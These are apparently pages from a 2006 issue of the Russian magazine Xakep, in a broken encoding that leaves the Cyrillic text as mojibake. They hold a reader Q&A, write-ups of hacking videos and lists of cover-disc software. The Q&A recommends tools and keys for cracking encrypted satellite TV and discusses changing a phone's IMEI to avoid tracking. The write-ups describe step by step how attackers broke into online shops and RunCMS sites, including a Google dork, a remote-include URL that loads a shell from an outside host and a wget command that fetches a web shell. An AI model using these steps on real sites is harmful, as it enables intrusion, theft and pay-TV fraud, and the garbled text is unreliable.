Q: À êàê ìîæíî ïîäêëþ÷èòüñÿ ê óäàëåííîìó ðàáî÷åìó ñòîëó? ß èìåþ â âèäó âñòðîåííûé â Windows àíàëîã ïðîãðàììû Remote Administrator. A: Ðàáîòàÿ ïîä Windows, òåáå ïîíàäîáèòñÿ ïðîãðàììà «Óäàëåííûé äîñòóï ê ðàáî÷åìó ñòîëó».  áîëüøèíñòâå ñëó÷àåâ îíà óñòàíàâëèâàåòñÿ ïî óìîë÷àíèþ, íî åå â ëþáîì ñëó÷àå ìîæíî óñòàíîâèòü, âîñïîëüçîâàâøèñü äèñòðèáóòèâîì âèíäû. Äëÿ ñîåäèíåíèÿ íåîáõîäèìî ëèøü ââåñòè IP-àäðåñ ñåðâåðà. Íà ñòàðûõ êîìïüþòåðàõ ìîæíî âîñïîëüçîâàòüñÿ ìèíèàòþðíîé òóëçîé DOSRDP (www.terminal soft.net/product.htm). Îíà ðàáîòàåò èç êîìàíäíîé ñòðîêè è ëåãêî ìîæåò áûòü çàïóùåíà ñ äèñêåòû íà êîìïüþòåðàõ áåç æåñòêîãî äèñêà. Ëó÷øåé ðåàëèçàöèåé êëèåíòà äëÿ RPD-ïðîêîëà (Remote Desktop Protocol) ïîä ëèíóêñ ÿâëÿåòñÿ rdesktop (www.rdesktop.org). Îíà ðàñïðîñòðàíÿåòñÿ ñ îòêðûòûìè èñõîäíèêàìè è ëåãêî çàïóñêàåòñÿ íà ëþáîé ñèñòåìå ñ íàñòðîåííûìè èêñàìè.

Q: Íàìåäíè ïðî÷èòàë ñòàòüþ «Íåáåñíûå ðàäîñòè», íàãëÿäíî ïîêàçûâàþùóþ ïðîöåññ íàñòðîéêè ñïóòíèêîâîãî òåëåâèäåíèÿ. Îòâåòü: ïðèâåäåííàÿ èíôîðìàöèÿ âñå åùå àêòóàëüíà? Áîëüøèíñòâî êàíàëîâ ïî-ï ïðåæíåìó ïîääàþòñÿ âçëîìó? A: Î÷åíü ÷àñòûé âîïðîñ. Îòâå÷àþ: äà, íè÷åãî íå èçìåíèëîñü. Äëÿ ïðîñìîòðà ñïóòíèêîâîãî Ò ðåêîìåíäóþ ïðîãðàììû ProgDVB (www.progdvb.com) è myTheatre (www.dvbcore.com). Äëÿ ïðîñìîòðà çàêðûòûõ êàíàëîâ ïðèäåòñÿ èõ íåìíîãî äîðàáîòàòü, ïîäêëþ÷èâ ñïåöèàëüíûå ïëàãèíû. Íàèáîëåå ìîùíûì ÿâëÿåòñÿ S2emu, êîòîðûé áåñõèòðîñòíî âñêðûâàåò ïîïóëÿðíûå ñõåìû êîäèðîâàíèÿ VIACCESS, SHL, SECA, SECA2, Nagra, Conax, Cyfra è äðóãèå. Äëÿ ��îëíîöåííîé ðàáîòû åìó íåîáõîäèì SoftCamôàéë, â êîòîðûé äîáðîâîëüöû ðàçìåùàþò èíôîðìàöèþ î ïðîâàéäåðàõ, êàíàëàõ, ñõåìàõ êîäèðîâàíèÿ, à òàêæå äåéñòâóþùèå (à èíîãäà íå î÷åíü) êëþ÷è äëÿ ïðîñìîòðà. Ïîñêîëüêó êëþ÷è ïîñòîÿííî ìåíÿþòñÿ, òåáå ïðèäåòñÿ ïîçàáîòèòüñÿ î ïåðèîäè÷åñêîì îáíîâëåíèè SoftCam’à. Åãî è ñâåæóþ âåðñèþ ïëàãèíà S2emu âñåãäà ìîæíî íàéòè íà ôàéëîîáìåííèêàõ, òàêèõ êàê www.key-sat.com/upload, www.satnavigator.ru, http://dvb-upload.com.

Q: Ðàññêàæè â äâóõ ñëîâàõ î ÿçûêå ïðîãðàììèðîâàíèÿ Ruby.  ïîñëåäíåå âðåìÿ âîêðóã íåãî çà ÷åãî? áîëüøîé àæèîòàæ. Èç-ç

140

Q: Ìíå íóæíî íàïèñàòü íåáîëüøîé ñêðèïò, êîòîðûé áû ïîäêëþ÷àëñÿ ê óäàëåííîìó MySQL-ñ ñåðâåðó, ïîëó÷àë äàííûå èç îïðåäåëåííîé ÁÄ è îáðàáàòûâàë èõ äàëüøå, åñëè òàì åñòü íîâûå çàïèñè. Ïðè÷åì âñå ýòî äîëæíî âûïîëíÿòüñÿ íà ðåãóëÿðíîé îñíîâå. Êàê ñäåëàòü òàê, ÷òîáû ïðîãà ðàáîòàëà âå÷íî, òî åñòü ïðîöåññ ïîñòîÿííî îñòàâàëñÿ â ïàìÿòè. Èíòåðåñóåò *nix-ð ðåàëèçàöèÿ. A: Äëÿ âûïîëíåííèÿ çàòðåáîâàííîãî íåîáÿçàòåëüíî äåðæàòü ïðîöåññ, ïîñòîÿííî çàãðóæåííûì â ïàìÿòè. Ñàìûé ïðîñòîé âàðèàíò — íàïèñàòü íåáîëüøîé ñêðèïò, êîòîðûé îáðàùàåòñÿ ê ÁÄ. Äàëåå, åñëè åñòü íîâûå çàïèñè, òî ñêðèïò âûïîëíÿåò ñ íèìè çàòðåáîâàííûå äåéñòâèÿ, åñëè æå íåò — ñðàçó çàâåðøàåò ñâîþ ðàáîòó. Ïåðèîäè÷íîñòü ðàáîòû ëåãêî îáåñïå÷èòü ñ ïîìîùüþ ïëàíèðîâùèêà cron, êîòîðûé áóäåò çàïóñêàòü ñêðèïò ÷åðåç îïðåäåëåííûå ïðîìåæóòêè âðåìåíè. Íóæíî ëèøü ïåðåä êàæäûì çàïóñêîì ïðîâåðÿòü, íå ðàáîòàåò ëè ñêðèïò â òåêóùèé ìîìåíò. Òàêàÿ ñèòóàöèÿ ëåãêî ìîæåò ïîëó÷èòüñÿ, åñëè ïåðèîäè÷íîñòü çàïóñêà íåáîëüøàÿ, à ñêðèïò íå óñïåâàåò ñïðàâèòüñÿ ñî ñâîåé ðàáîòîé çà ïðåäîñòàâëåííûé åìó ïðîìåæóòîê âðåìåíè (íàïðèìåð, íîâûõ çàïèñåé â ÁÄ îêàçàëîñü ñëèøêîì ìíîãî). Äëÿ ðåøåíèÿ ïðîáëåìû ðåêîìåíäóþ èñïîëüçîâàòü êàêîé-íèáóäü lock-ôàéë (ïóñòîé ôàéë-ôëàã), êîòîðûé áóäåò èíäèöèðîâàòü î òîì, ÷òî êîïèÿ ñêðèïòà óæå ðàáîòàåò. Q: Âû ïèñàëè, ÷òî ñîòîâîìó îïåðàòîðó âî âðåìÿ âêëþ÷åíèÿ òåëåôîíà ïåðåäàåòñÿ IMEI-ê êîä ìîáèëû. Ñ ïîìîùüþ ýòîãî êîäà ëåãêî îòñëåäèòü òîãî, êòî ðàíåå èñïîëüçîâàë òåëåôîí, äàæå åñ ëè òîò èñïîëüçóåò àíîíèìíóþ SIM-ê êàðòó. Òàê âîò êîä ìîæíî ñìåíèòü? âîïðîñ: à êàê ýòîò IMEI-ê A: Âñå ñèëüíî çàâèñèò îò ïðîèçâîäèòåëÿ è êîíêðåòíîé ìîäåëè òåëåôîíà.  äîìàøíèõ óñëîâèÿõ ïîäîáíîãî ðîäà ïåðåäåëêè ïîääàþòñÿ òîëüêî ñòàðûå ìîäåëè Siemens: äëÿ îïåðàöèè äîñòàòî÷íî îáû÷íîãî DATA-êàáåëÿ, ñïåöèàëüíîãî ñîôòà è ïðÿìûõ ðóê. Åñëè ïîèñêàòü ïî ôîðóìàì, òî òû ëåãêî íàéäåøü ïîøàãîâûå èíñòðóêöèè ê äåéñòâèþ. Åñëè áðàòü, ê ïðèìåðó, òåëåôîíû Nokia, òî çäåñü óæå íå îáîéòèñü áåç ñïåöèôè÷åñêèõ çíàíèé. Äëÿ ñìåíû IMEI-êîäà, êàê ïðàâèëî, íåîáõîäèìî âûïàèâàòü íåáîëüøîé ÷èï è ñ ïîìîùüþ ïðîãðàììàòîðà ïåðåïðîøèâàòü åãî. Ãåìîððîé ïîðÿäî÷íûé è ãàðàíòèè íèêàêîé. Ãóðó òàê è íå ïðèøëè ê ñîãëàñèþ ïî ïîâîäó òîãî, ìåíÿåòñÿ ëè ðåàëüíî IMEI-êîä èëè íåò. Ìíîãèå ñ÷èòàþò, ÷òî ìåíÿåòñÿ ëèøü íîìåð, êîòîðûé âûñâå÷èâàåòñÿ íà ýêðàíå (ñ ïîìîùüþ òåõíè÷åñêîãî ìåíþ èëè îïðåäåëåííîé êîìáèíàöèè êëàâèø), à îïåðàòîðó âñå ðàâíî ïåðåäàåòñÿ ðîäíîé IMEI, êîòîðûé çàøèò â æåëåçå ðàç è íàâñåãäà. Ëè÷íî ìîå ìíåíèå: ëåã÷å êóïèòü íîâûé òåëåôîí è ñïîêîéíî èñïîëüçîâàòü åãî. Áëàãî, ïîäõîäÿùèé òåëåôîí ìîæíî íàéòè âñåãî çà 1000—1500 ðóáëåé. BINARY YOUR’S z

XÀÊÅÐ 02 /86/ 06


Disco _

ÌÅÒÀÂÅÑÅËÜÅ ÍÀ ÏÐÀÊÒÈÊÅ

units

| nikitozz

 ýòîì ðîëèêå àâòîð íàãëÿäíî ïîêàçûâàåò, êàê õàêåðû ìîãóò èñïîëüçîâàòü ïîïóëÿðíûé áàã ïðè îáðàáîòêå WMF-ôàéëîâ. Äëÿ ýòîãî áûë çàþçàí ñàìûé ïåðâûé ýêñïëîéò, êîòîðûé çàïóñêàåòñÿ èç Metasploit Framework.  ïåðâîé ÷àñòè ðîëèêà ïðîèñõîäèò âûáîð øåëë-êîäà, íàñòðîéêà ýêñïëîéòà è åãî çàïóñê. Çàòåì çëîáíàÿ ññûëêà íà ÿäîâèòóþ êàðòèíêó âïàðèâàåòñÿ «æåðòâå», êîòîðàÿ ïîñëóøíî îòêðûâàåò ëèíê, íàèâíî îæèäàÿ óâèäåòü ÷óäî. Âóàëÿ! Òåïåðü âçëîìùèê ìîæåò ïåðåìåùàòüñÿ ïî ôàéëîâîé ñèñòåìå óäàëåííîãî êîìïüþòåðà è âûïîëíÿòü òàì ëþáûå êîìàíäû. ÓßÇÂÈÌÎÑÒÜ Â SHOP-SCRIPT

| k00p3r

Òû äóìàåøü ñëîìàòü èíòåðíåò-ìàãàçèí äîâîëüíî ñëîæíî? Íè÷åãî ïîäîáíîãî!  ýòîì âèäåî õàêåð äåìîíñòðèðóåò âçëîì íåñêîëüêèõ âåá-ìàãàçèíîâ ïðè ïîìîùè áàãà, íàéäåííîãî èì â äâèæêå ShopScript.  íà÷àëå îí íàõîäèò ñêðèïò, ïîäâåðæåííûé PHP-include (êîíêðåòíî — index.php ñ ïàðàìåòðîì aux_page) è ïûòàåòñÿ ïðî÷èòàòü èìåíà ïîëüçîâàòåëåé íà ñåðâåðå, ÷òî åìó â èòîãå è óäàåòñÿ. Îäíàêî âûïîëíÿòü ñèñòåìíûå êîìàíäû ïîêà íå ïîëó÷àåòñÿ. Äàëåå â çíà÷åíèå ïàðàìåòðà îí ïîäñòàâëÿåò ïóòü ê ôàéëó (connect.inc.php), ñîäåðæàùåìó äàííûå äëÿ ïîäêëþ÷åíèÿ ê áàçå äàííûõ. Ïóòü /cfg/connect.inc.php îêàçàëñÿ íåâåðåí, è õàêåð èçìåíÿåò åãî íà ../cfg/connect.inc.php. Ïîÿâëÿåòñÿ ïóñòàÿ ñòðàíèöà. Ïîñìîòðåâ åå èñõîäíèê, íàø ãåðîé óçíàåò àäðåñ õîñòà, ëîãèí è ïàðîëü äëÿ ÁÄ, à òàêæå ëîãèí àäìèíèñòðàòîðà ìàãàçèíà.

142

Çíàÿ, íàñêîëüêî ëåíèâûì ìîæåò áûòü àäìèí, ãåðîé ïðîáóåò âñòàâèòü ëîãèí è ïàññ îò áàçû â ïîëÿ äëÿ âõîäà â ëè÷íûé êàáèíåò. Äàííûå ñîâïàäàþò è åãî âïóñêàþò â çîíó àäìèíèñòðàòîðà. Òåïåðü âçëîìùèê ìîæåò îòðåäàêòèðîâàòü ëþáîé òîâàð, çàïîñòèòü íîâîñòü è ñäåëàòü åùå ìíîãî íåõîðîøèõ âåùåé. Áûñòðî ïðîáåæàâøèñü ïî àäìèíêå è íå íàéäÿ íè÷åãî èíòåðåñíîãî, ÷åë íàõîäèò ìåñòî äëÿ çàëèâêè âåá-øåëëà. Ýòî ìîæíî îñóùåñòâèòü, âûáðàâ ôàéë âåá-øåëëà âìåñòî ïðåäïîëàãàåìîãî ëîãîòèïà âî âðåìÿ ðåäàêòèðîâàíèÿ îäíîé èç êàòåãîðèé òîâàðîâ (äà-äà! ïðîâåðêà ðàñøèðåíèÿ è ñîäåðæèìîãî ôàéëà íå ïðîèçâîäèòñÿ â ïðèíöèïå).  èòîãå âìåñòî ëîãîòèïà îêàæåòñÿ ãèïåðññûëêà íà r57.php :). Òàêèì îáðàçîì, áûë ïîëó÷åí äîñòóï ê ñåðâåðó, ïóñêàé è ñ îãðàíè÷åííûìè ïðàâàìè. Àíàëîãè÷íûì îáðàçîì áûëè ïîëîìàíû åùå äâà ìàãàçèíà.  ïîñëåäíåì ñëó÷àå, ÷òîáû óçíàòü ïàðîëü àäìèíà, õàêåð ïîäêëþ÷àåòñÿ ê áàçå ñ ïîìîùüþ ñïåöèàëüíîãî ñêðèïòà îò ãðóïïû RST, çàáëàãîâðåìåííî çàëèòîãî íà ðàíåå ïîëîìàííûé ñåðâåð.  ÁÄ îí íàõîäèò òàáëèöó ss_customers, êîòîðàÿ ñîäåðæèò ëîãèí è ïàðîëü àäìèíèñòðàòîðà îò ìàãàçèíà â ñîâåðøåííî îòêðûòîì âèäå (íèêàêèìè MD5 è DES çäåñü äàæå íå ïàõíåò). ÂÇËÎÌ ÄÂÈÆÊÀ RUNCMS

| k00p3r

 ýòîì êîðîòåíüêîì è ïðîñòîì âèäåî âçëîìùèê ïîêàæåò, êàê åìó óäàëîñü ïîëó÷èòü äîâîëüíî ïðèëè÷íîå ÷èñëî øåëëîâ ñ ïîìîùüþ áðîíåáîéíîãî áàãà â RunCMS. Ïîñëåäíÿÿ, çà-

ìå÷ó, ÿâëÿåòñÿ äîâîëüíî èçâåñòíîé è ðàñêðó÷åííîé CMS-ñèñòåìîé â Èíòåðíåòå. Äëÿ íà÷àëà èñïîëüçóåòñÿ êëàññè÷åñêèé ïîèñê ÷åðåç google.com. Äëÿ ýòîãî â çàïðîñ âáèâàåòñÿ ñëåäóþùàÿ ñòðîêà: Powered by RunCMS 1.1A. Ïîèñêîâèê âûäàñò äîñòàòî÷íî ññûëîê äëÿ ïðîáû áàãà íà ïðàêòèêå. Âûáðàâ ñàéò, õàêåð ïîäñòàâëÿåò ê àäðåñó ñòðî÷êó: /modules/newbb_plus/class/forumpollrenderer.php ?bbPath[path]=. Ýòî è åñòü ñêðèïò, ïîäâåðæåííûé èíêëóäó. Íà äðóãîé ñàéò âçëîìùèê çàëèâàåò ïðîñòåíüêèé ñêðèïò-øåëë è ïîäñòàâëÿåò ññûëêó íà íåãî â ïàðàìåòðû óÿçâèìîãî ñêðèïòà. Òåïåðü àäðåñ ïðèíèìàåò âèä: www.sayt.ru/modules/newbb_plus/class/forumpollrenderer.php?bbPath[path]=http://k3r.narod.ru/sh e.gif?&cmd=id. Ïîñëå òîãî êàê çàïðîñ îòïðàâëåí, áðàóçåð ðàäóæíî ñîîáùàåò õàêåðó åãî ïðàâà â ñèñòåìå (òî åñòü âûïîëíÿåò êîìàíäó id). Äàëåå íàø ãåðîé âûÿñíÿåò, êàêèå èç êà÷àëîê óñòàíîâëåíû íà ñåðâåðå, è ïîïóòíî ïðîñìàòðèâàåò ëèñòèíã ôàéëîâ. Îêàçàëîñü, ÷òî íà ñåðâåðå óñòàíîâëåí wget. Ýòî òî, ÷òî íàäî: òåïåðü êîìàíäîé wget -o shel.php http://k3r.narod.ru/ shell.php õàêåð çàëèâàåò íà õîñò ïîëíîöåííûé øåëë. Ïîäîáíûì îáðàçîì íàøåìó âçëîìùèêó óäàëîñü ïîëó÷èòü äîñòóï åùå ê äåñÿòêàì âåá-ñåðâåðîâ. Àäìèíèñòðàòîðû ýòèõ ñàéòîâ îêàçàëèñü íå ñîâñåì îëóõàìè è âñêîðå ïîçàêðûâàëè äûðû èëè óäàëèëè óÿçâèìûé ñêðèïò. È ïðàâèëüíî ñäåëàëè. BINARY YOUR’S z

XÀÊÅÐ 01 /85/ 06


MISC BashBurn 1.7 BSCommander 2.10 ego file manager 0.12.1 evince-0.4.0 JDraw 1.1.4 K3b 0.12.10

DEVELOPMENT Anyuta 2.0.1 Clash 3.0 Beta1 KMD 0.9.19 Subversion 1.1.4 XCircuit 3.4.11 Ñute 0.2.9

UNIX

MISC AiS Conception & Contraception Calendar 3.2 Alcohol 120% 1.9.5.3105 Ant Movie Catalog 3.5.0.2 AudioShell 1.1 BadCopy Pro 3.80 CD2HTML 5.1.3.0 Dead Pixel Tester 2.10 DirLister Disk Space Inspector 3.32

DEVELOPMENT CoffeeCup HTML Editor 2006 ExamDiff Pro 3.4 FlexHex 1.4 PE Explorer 1.98 PECompact2 PHP Designer 2006 4.0.5 PSPad 4.5.0 Resource Tuner 1.97 Sothink DHTMLMenu 6.4 Visual C# 2005 Express Editon Zend Studio 5.1.0a

NET Azureus 2.3.0.6

MULTIMEDIA amaroK 1.3.8 mhwaveedit-1.4.5 ripperx 2.6.7 XviD 1.1.0

KAlarm 1.3.8 KnowledgeTree 3.0 Beta4 Kpackage 3.4.2 MetaMonitor 0.4.5 Mount ISO image 0.9.1 YamiPod 0.91.1

DocRepair 2.20 Effective File Search 3.9 EssentialPIM 1.7 FastStone Image Viewer 2.29 Handy Recovery 2.0 Instant Document Search 1.5 MultiRes 1.56 Network Password Manager 1.5 Nokia PC Suite 6.70.22 Oxygen Phone Manager II for Nokia and Samsung phones Password Door 8.2 PDFCreator 0.9.0 Rainlendar 0.22.1 RightClick Sony Ericsson PC Suite 1.7.10 Vista Start Menu 1.3 WhereIsIt 3.71 WinRAR 3.51 XNView Standart 1.82 RC2 YamiPod 0.91.1

WINDOWS

Centericq 4.21.0 dante 1.1.19 Ethereal 0.10.14 Nmap 3.999 Opera 8.51 PuTTY 0.58 rdesktop 1.4.1 Retriever Download Manager 1.02 RSSOwl v1.2 samba-4.0.0tp1 Sella NMS 2.0.0 Sylpheed 2.2.0 Beta6 Thunderbird 1.5 Tiny Tiny RSS 1.1.2

NET AI RoboForm 6.6.4 AiS AliveProxy Server 4.5 Anonymous Guest v 4.00 BitComet 0.61 CommView 5.0 CommView for WiFi 5.2 CuteFTP 7.1

MULTIMEDIA Aurora MPEG To DVD Burner 4.7.6 AWicons PRO 9.3 FaceFilter Standard Edition 1.0 FastStone Screen Capture 1.6 Flash Decompiler 2.6 Graph ZX 3.09 IconPackager 3.1 Nero 6.6.0.18 Photo Screensaver Maker 3.6.6 PhotoRescue Pro 3.5 SnagIt 7.2.5 The Panorama Factory 4.2

SYSTEM bashish 1.9.24 Ext2 Filesystems Utilities 1.37 Fedora Core 4 GNOME Power Manager 2.13.5

Tor TSocks 1.7 WiFi Radar 1.9.4 Wireless Assistant 0.5.4a XChat 2.6.1 Yet Another Proxy Hunter 0.91

Download Accelerator Plus (DAP) 8.0 Ethereal for Windows 0.10.14 FileZilla 2.2.18 FileZilla Server 0.9.12c Firefox 1.5 FreeCap v3.18 Google Talk 1.0.0.82 Masked DNS 1.0.9 Miranda IM 0.4.0.2 mIRC 6.16 Mount Hay Technology IP Trap 1.16 Mozilla.ru ExtensionPack ??? firefox 1.5 - 1.6a2 QIP 7810 Alpha RSSOwl v1.2 Serv-U 6.2.0.0 SmartWhois 4.1 The Bat! v3.65.03 Professional Edition Thunderbird 1.5 Tiny Firewall 2005 6.5.126 Tor

ÁÎÍÓÑ Zebra SoftPhone 1.2.1.1 Äåìî-âåðñèÿ èãðû Fallen Lords Condemnation Ñàóíäòðåêè èç èãðû Rat Hunter Ñëîâàðè äëÿ ïåðåáîðà

Guarddog 2.4.0 recover 1.3c SystemImager 3.4.0 usb-mount 0.96

SYSTEM Absolute Uninstaller 1.51 Active System Locker 3.0 Bart’s PE Builder 3.1.9 CCleaner 1.27.242 EasyBoot 5.0 Flyakite OSX 3 Microsoft Virtual PC 2004 Service Pack 1 My Drivers 3.11 nLite 1.0 RC5 Power Shutdown 4.0 RegWorks 1.3.3 Security Task Manager 1.6f Starter v5.6.1.45 TaskInfo 6.2.2.188

Universal Share Downloader v1.3.1 WM Keeper Classic 3.0.0.0

x ¹ 02(86) ÔÅÂÐÀËÜ 2006


¹ 02(86) ÔÅÂÐÀËÜ 2006 x

CD1

WINDOWS DEVELOPMENT CoffeeCup HTML Editor 2006 ExamDiff Pro 3.4 FlexHex 1.4 PE Explorer 1.98 PECompact2 PHP Designer 2006 4.0.5 PSPad 4.5.0 Resource Tuner 1.97

Dead Pixel Tester 2.10 DirLister Disk Space Inspector 3.32 DocRepair 2.20 Effective File Search 3.9 EssentialPIM 1.7 FastStone Image Viewer 2.29 Handy Recovery 2.0 Instant Document Search 1.5 MultiRes 1.56 Network Password Manager 1.5 Sothink DHTMLMenu 6.4 Nokia PC Suite 6.70.22 Oxygen Phone Manager II Zend Studio 5.1.0a for Nokia and Samsung MISC phones AiS Conception & Contraception Calendar 3.2 Password Door 8.2 Alcohol 120% 1.9.5.3105 PDFCreator 0.9.0 Ant Movie Catalog 3.5.0.2 Rainlendar 0.22.1 RightClick AudioShell 1.1 Vista Start Menu 1.3 BadCopy Pro 3.80 WhereIsIt 3.71 CD2HTML 5.1.3.0

WinRAR 3.51 XNView Standart 1.82 RC2 YamiPod 0.91.1 MULTIMEDIA Aurora MPEG To DVD Burner 4.7.6 AWicons PRO 9.3 FaceFilter Standard Edition 1.0 FastStone Screen Capture 1.6 Flash Decompiler 2.6 Graph ZX 3.09 IconPackager 3.1 Nero 6.6.0.18 Photo Screensaver Maker 3.6.6 PhotoRescue Pro 3.5 SnagIt 7.2.5 The Panorama Factory 4.2 NET AI RoboForm 6.6.4 AiS AliveProxy Server 4.5 Anonymous Guest v 4.00

BitComet 0.61 CommView 5.0 CommView for WiFi 5.2 CuteFTP 7.1 Download Accelerator Plus (DAP) 8.0 Ethereal for Windows 0.10.14 FileZilla 2.2.18 FileZilla Server 0.9.12c Firefox 1.5 FreeCap v3.18 Google Talk 1.0.0.82 Masked DNS 1.0.9 Miranda IM 0.4.0.2 mIRC 6.16 Mount Hay Technology IP Trap 1.16 Mozilla.ru ExtensionPack ??? firefox 1.5 - 1.6a2 QIP 7810 Alpha RSSOwl v1.2 Serv-U 6.2.0.0 ...

amaroK 1.3.8 mhwaveedit-1.4.5 ripperx 2.6.7 XviD 1.1.0 NET Azureus 2.3.0.6 Centericq 4.21.0

dante 1.1.19 Ethereal 0.10.14 Nmap 3.999 Opera 8.51 PuTTY 0.58 rdesktop 1.4.1 ...

UNIX DEVELOPMENT Anyuta 2.0.1 Clash 3.0 Beta1 KMD 0.9.19 Subversion 1.1.4 XCircuit 3.4.11 Ñute 0.2.9

MISC BashBurn 1.7 BSCommander 2.10 ego file manager 0.12.1 evince-0.4.0 JDraw 1.1.4 K3b 0.12.10

KAlarm 1.3.8 KnowledgeTree 3.0 Beta4 Kpackage 3.4.2 MetaMonitor 0.4.5 Mount ISO image 0.9.1 YamiPod 0.91.1 MULTIMEDIA

¹ 02(86) ÔÅÂÐÀËÜ 2006 x

CD2

UNIXWAREZ Alltray Beesoft Commander 2.03 Convmv GJosts Htop Ksquirrel Paps X-TOOLS Bluediving 0.3 PasswordsPro 2.0.0.0 TTYRPLD 2.10 uf0_google ØÀÐÎWAREZ AnyDVD 5.8.1.1 DeskTool 3.0 DeviceLock 6.0 Beta 1 DVD X Player 4.0 F-Secure BlackLight 2.2.1007 Beta FastStone Image Viewer 2.29

kX Driver 5.10.0.3537 Mp3tag 2.35 NewsLeecher 3.5 Beta 2 PowerISO 2.8 Real Alternative 1.46 SMS Reception Center 1.33 Tag&Rename 3.2 VISUAL HACK++ Ìåòàâåñåëüå íà ïðàêòèêå Óÿçâèìîñòü â Shop-Script Âçëîì äâèæêà RunCMS UPDATES Áåñïëàòíàÿ âåðñèÿ DrWeb äëÿ ÷èòàòåëåé æóðíàëà Õàêåð Çàïëàòêè äëÿ Windows ÁÎÍÓÑ Zebra SoftPhone 1.2.1.1 Äåìî-âåðñèÿ èãðû Fallen Lords Condemnation Ñàóíäòðåêè èç èãðû Rat Hunter Ñëîâàðè äëÿ ïåðåáîðà


MIKHAIL MIKHIN

centner@real.xakep.ru; www.livejournal.com/~onepamop

PAVEL NOSOV

pnosov@gmail.com

SIDEX

sidex@real.xakep.ru

_units

SHAROWARES

AnyDVD 5.8.1.1 Windows 2000/XP/2003 Sharowarez Size: 1,2 Má www.slysoft.com/en/download.html Òå, êòî èíîãäà ëþáèò ïîáàëîâàòüñÿ ëèöåíçèîííûìè DVD-Video ñ çîíàëüíûì êîäèðîâàíèåì, íî íå æåëàåò «ïåðåñàæèâàòüñÿ» íà íîâûé âèäåîïëååð, îöåíèò ïî äîñòîèíñòâàì ýòî ïðîãðàììó, êîòîðàÿ â ïðîçðà÷íîì äëÿ ïîëüçîâàòåëÿ ðåæèìå «îòâÿæåò» ëþáîé DVD-ïðèâîä è ëþáîé DVD-Player (è WinDVD, è PowerDVD è ëþáóþ ïðîãðàììó äëÿ ïðîñìîòðà, êîïèðîâàíèÿ èëè äåêîäèðîâàíèÿ DVD-Video) îò âñåâîçìîæíûõ çàùèò, âêëþ÷àÿ äàæå ñàìûå ñîâðåìåííûå. Äåêîäèðîâàíèå DVD-Video ïðîèñõîäèò àâòîìàòè÷åñêè. Ïðîñòî âñòàâëÿåòå ëþáîé «ðîäíîé» DVD-äèñê ñ ëþáèìûì ôèëüìîì â ïðèâîä — è îí óæå ãîòîâ ê ïðîñìîòðó è/èëè êîïèðîâàíèþ!

DeskTool 3.0 Windows 95/98/NT/2000/ME/XP/2003 Shareware Size: 547 Ká www.metaproducts.com/mp/mpProducts_Detail.asp?id=16 Êîãäà-íèáóäü êîìïüþòåð ïðåâðàùàåòñÿ èç èãðîâîé ñòàíöèè âî ÷òî-òî áîëåå òîëêîâîå è ïîëåçíîå è íåìèíóåìî îáðàñòàåò ãèãàíòñêèì êîëè÷åñòâîì ïðîãðàìì, íóæäàþùèìèñÿ âî âðåìÿ òÿæåëîé ðàáîòû â ïîñòîÿííîì çàïóñêå è ïåðåçàïóñêå. ×òîáû íå îáðàùàòüñÿ êàæäûé ðàç ê óñëóãàì ìåíþ «Ïðîãðàììû», ïðèäóìàíî ìíîãî ÷åãî òîëêîâîãî, íàïðèìåð, ðàçìåùåíèå íàèáîëåå ìèëûõ ñåðäöó èêîíîê íà ðàáî÷åì ñòîëå. Íî è îí íå áåçãðàíè÷åí. Âîò òóò íà ïîìîùü ïðèõîäÿò ãîðÿ÷èå êëàâèøè è âèðòóàëüíûå äåñêòîïû. Íè òî íè äðóãîå ìíå íå ïîíðàâèëîñü. Íå ìîé, çíàåòå ëè, ìåòîä. Âìåñòî ýòîãî ìíå î÷åíü äàæå ïîíðàâèëàñü èäåÿ ñ ðàçìåùåíèåì ó îäíîé èç «êðîìîê» ðàáî÷åãî ñòîëà ñïåöèàëüíîé ïàíåëüêè, íà êîòîðóþ ìîæíî ïîìåñòèòü èêîíêè-ÿðëûêè âñÿêîãî ïîëåçíîãî ñîôòà. Äîëãèå ïåðåáîðû ïðîãðàìì íàêîíåö ïðåêðàòèëèñü è ÿ îñòàíîâèëñÿ íà DeskTool. Íåáîëüøàÿ ñîôòèíêà çàïóñêàåòñÿ âìåñòå ñ âèíäàXÀÊÅÐ 02 /86/ 06

ìè, ïîñëå íåïðîäîëæèòåëüíîé íàñòðîéêè è àêêóðàòíîé ðàññòàíîâêè íà ïàíåëüêå ãðóïï èêîíîê è ðàçäåëèòåëåé (ó ìåíÿ âñå èêîíêè ðàññîðòèðîâàíû â íåñêîëüêî ãðóïï â çàâèñèìîñòè îò ÷àñòîòû è îáëàñòè ïðèìåíåíèÿ ñîôòà), ñàìà ïàíåëüêà öåïëÿåòñÿ ñ ëþáîé ñòîðîíû ýêðàíà è äî ïîðû äî âðåìåíè íå ïîäàåò ïðèçíàêîâ æèçíè. Ñòîèò æå çàåõàòü ìûøêîé â íóæíûé óãîë — ïàíåëü íåìåäëåííî âûïàäàåò, ïîçâîëÿÿ çàïóñòèòü íóæíóþ ïðîãðàììó èç ïðåäâàðèòåëüíî âûíåñåííûõ â ïåðâûé ðÿä, ïîñëå ÷åãî ñòðåìèòåëüíî (èëè ïëàâíî — ñêîðîñòü òîæå íàñòðàèâàåòñÿ) âîçâðàùàåòñÿ â ñâîå ïðîãðàììíîå íåáûòèå. ×åì, ðàçóìååòñÿ, ñóùåñòâåííî ýêîíîìèò ìåñòî íà äåñêòîïå, ñèëû è òåðïåíèå. Óäîáíî, ïðîñòî, ãèáêî.

PowerISO 2.8 Windows98/Me/2000/XP/2003 Shareware Size: 768 Ká www.poweriso.com/index.htm Áëàãîäàðÿ íåóãàñèìîìó ýíòóçèàçìó ïîëüçîâàòåëåé ñàéòà www.kpnemo.ru ïîçíàêîìèëñÿ ñ òîëêîâîé øòóêîé ïî ôàìèëèè PowerISO. Ïðè áëèæàéøåì ðàññìîòðåíèè ýòà ñàìàÿ PowerISO çàðåêîìåíäîâàëà ñåáÿ ñ ñàìîé ëó÷øåé ñòîðîíû — ýäàêèì ìîùíûì ïðèëîæåíèåì äëÿ ñîçäàíèÿ, èçâëå÷åíèÿ, ñæàòèÿ, ðåäàêòèðîâàíèÿ è êîíâåðòèðîâàíèÿ ôàéëîâ îáðàçîâ, ñòîëü ÷àñòî âûêëàäûâàåìûõ ñåé÷àñ â Ñåòü. Ñ ïîìîùüþ PowerISO â ñèñòåìó çàïðîñòî âñòðàèâàþòñÿ â íåîáõîäèìîì êîëè÷åñòâå âèðòóàëüíûå äèñêîâûå ïðèâîäû, êîòîðûå ìîæíî áûñòðî âêëþ÷àòü-âûêëþ÷àòü è ìîíòèðîâàòü-äåìîíòèðîâàòü ôàéëû îáðàçîâ.  